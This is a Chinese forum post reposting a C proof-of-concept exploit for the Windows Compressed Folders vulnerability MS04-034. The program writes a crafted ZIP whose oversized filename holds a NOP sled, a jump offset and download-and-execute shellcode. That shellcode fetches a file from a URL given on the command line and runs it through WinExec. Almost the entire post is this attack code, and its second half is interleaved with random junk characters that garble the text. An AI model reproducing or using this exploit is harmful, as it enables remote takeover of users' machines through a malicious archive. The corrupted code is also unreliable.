查看: 2573|回复: 0

(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

字体大小: 正常放大

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

电梯直达

1^#

发表于 2004-11-21 10:51 |只看该作者 |倒序浏览

|招呼Ta 关注Ta

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet * * * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * */ #include <stdio.h> #include <windows.h> #pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" typedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) // extra field (variable size) }TOPHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) WORD MadeVersion; WORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; WORD FileCommentLength; WORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) // file comment (variable size) }MIDDLEHEADER; typedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) }BOTTOMHEADER; /* * download shellcode - RaiSe - raise@netsearch-ezine.com */ char shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; int main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; DWORD c; UINT i; char *filename; char *url; printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } url=argv[1]; printf("\n * URL: %s",url); if (!(ZipFile=fopen("prueba.zip","w+b"))) { printf("\n [E] fopen()"); exit(1); } c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); memset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90; X) R. J/ w# T 2 f+ {% L; w. b" b- l memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));; w* T$ s0 J- i) M0 c' e% u# Z2 \9 s" u memcpy(filename+0x1818,offset,strlen(offset));; R' Y0 {6 o% ?- ?" o0 W3 Q , J4 ]5 P; e- c9 @8 umemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);! s6 c& N- A( R& i( e. ^: S' i6 A memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));; ?3 f4 O+ b/ Q! N. I' j! J$ n memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); $ d2 b; P/ T, W7 _2 S( G2 d, o6 U : |$ K; r; C) s) O7 Q; T: S- Cmemcpy(filename+(c-4),".txt",4); " f; [ n* D, P9 }' B1 G 1 g+ X; F! g7 s) S; ^: d8 ZCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));( z3 w }. F4 v$ i. `" w9 h0 \1 B# a Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); % a- l7 J( l a- b/ z) lCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));$ C& K/ ?, I# G" Q memset(Cabecera1,0,sizeof(TOPHEADER)); 7 e( k! z' r& A7 l" o5 m2 ^8 cmemset(Cabecera2,0,sizeof(MIDDLEHEADER)); 1 t# n2 d3 R' c* _memset(Cabecera3,0,sizeof(BOTTOMHEADER)); x. c0 b1 F4 l. k - f# N' u7 w X2 @) w8 ?+ s/////////////////////////////////////////////////////////////////// 9 f6 U; U8 w5 F4 b6 e p// TOPHEADER9 l9 [ U# |# @3 ^" p1 d ///////////////////////////////////////////////////////////////////% o2 j( d! t9 ?) `2 z$ l Cabecera1->Signature=0x04034B50; // DWORD0 F% D2 g7 i5 A) {9 ] \! { Cabecera1->VersionNeeded=0x000A; // WORD2 _6 a9 u+ r6 e; `0 W Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas; l& Q- P# u# G* l Cabecera1->CompressionMethod=0x0000; // WORD 0 L, i6 \- p" O" QCabecera1->ModFileTime=0x1362; // WORD / w8 w# C* o; K \Cabecera1->ModFileDate=0x3154; // WORD: v6 x0 Z8 v) S' J+ n- a Cabecera1->Crc32=0x85B36639; // DWORD 6 O: u/ E# U! E1 C7 GCabecera1->CompressedSize=0x00000015; // DWORD ( S1 F- e4 p9 q# t. uCabecera1->UncompressedSize=0x00000015; // DWORD7 _5 K* m; v3 d; D, m& S Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);1 v7 P1 R6 \# O1 v+ P Cabecera1->ExtraFieldLength=0x0000; // WORD K& D9 O$ z8 z5 W3 C2 B ///////////////////////////////////////////////////////////////////1 Z7 b5 M3 x4 n) l ; k% s7 J8 Q$ S/////////////////////////////////////////////////////////////////// % ~& s p* q( s// MIDDLEHEADER 5 E7 v2 Q9 j6 J/////////////////////////////////////////////////////////////////// & V' R( L% h6 \- k, Z3 gCabecera2->Signature=0x02014B50; // DWORD , r9 A i, u! x. _! TCabecera2->MadeVersion=0x0014; // WORD; ~2 A* |5 K# N. g( h. R Cabecera2->VersionNeeded=0x000A; // WORD7 a1 e8 P' v2 _$ O" D* N Cabecera2->GeneralPurposeFlag=0x0002; // WORD 9 r" u4 o% b" @1 _5 f# \# sCabecera2->CompressionMethod=0x0000; // WORD 2 D2 [8 E8 C$ k/ M PCabecera2->ModFileTime=0x1362; // WORD 4 G+ S/ ~+ F, f# f5 }: TCabecera2->ModFileDate=0x3154; // WORD% L- T6 U) T1 y" ^5 ^% O# X Cabecera2->Crc32=0x85B36639; // DWORD2 N" l/ {* A" D9 w) y2 E Cabecera2->CompressedSize=0x00000015; // DWORD " I7 A: I; L( O% l3 G8 GCabecera2->UncompressedSize=0x00000015; // DWORD) j" B8 H5 i% |$ p# L3 ]! A5 w, y6 Y Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 9 q$ f# m2 X" v& yCabecera2->ExtraFieldLength=0x0000; // WORD [, S S8 L5 [! ~! e$ A Cabecera2->FileCommentLength=0x0000; // WORD6 e4 D3 o9 a4 w+ ^( C Cabecera2->DiskNumberStart=0x0000; // WORD 0 u! m& }) a, GCabecera2->InternalFileAttributes=0x0001; // WORD& ?8 E! v. z7 U9 u9 W2 k; s# i, d Cabecera2->ExternalFileAttributes=0x00000020; // DWORD 1 J3 [! w: ]) S& @; E$ tCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD6 c, I. b3 [! H5 i- f ///////////////////////////////////////////////////////////////////5 L4 S9 Y4 v; v5 W; d. _ ' h, i; D) b+ ]. k, _/////////////////////////////////////////////////////////////////// ; }! G& @# R" }) @// BOTTOMHEADER 0 `4 N- S* S- z+ Y$ \7 a1 r- q& U/////////////////////////////////////////////////////////////////// ! r+ r; R' T4 {/ DCabecera3->Signature=0x06054B50; // DWORD' j3 r. E) [8 @, K2 m! A Cabecera3->NumOfThisDisk=0x0000; // WORD * l; Q% B( g& `' {) m- K% ~Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD+ p6 O' j3 w+ d6 S3 J Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD / h$ q$ v2 U+ W: _0 c kCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 3 `5 V/ `* A" T2 v8 C; eCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD 1 G" O6 ~. ?& C# Q0 iCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD & X6 e% z* X: Z' G# N1 d6 [ Cabecera3->ZipCommentLength=0x0000; // WORD & d9 Y9 x, z5 o2 g; m/////////////////////////////////////////////////////////////////// ) Z& \' ^: U& c! O L5 B0 w3 |2 c% ]9 f1 Y/ V" c fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); * S% m* L& F, ?. f b" @6 j0 o/ O! L8 l/ ~8 x! I. p fwrite(filename, c, 1,ZipFile); ) ?) L( ^% R: M* K4 X7 ]' G fwrite(DATOS,strlen(DATOS),1,ZipFile); 9 n$ F. b: L3 C5 ^: Z# H+ E0 e8 l& D% v/ X fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); 5 k5 ~# q5 u! D% Ufwrite(filename, c, 1,ZipFile); 8 G6 P. Y- n; B i* }) ^4 a' Y7 ^$ h fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); - B, h S3 ~, V7 D+ N8 d6 h8 M/ j$ w- n7 { fclose(ZipFile); : @: m1 |9 P7 r( y( G2 v4 Oprintf("\n * prueba.zip created\n"); ( h( T3 q& ~' x% P6 z5 `return 1;& s( y! @6 X' h9 t, {( F }//downloaded from milw0rm.com ! y) g: A7 J0 T( }) c6 F% ?0 t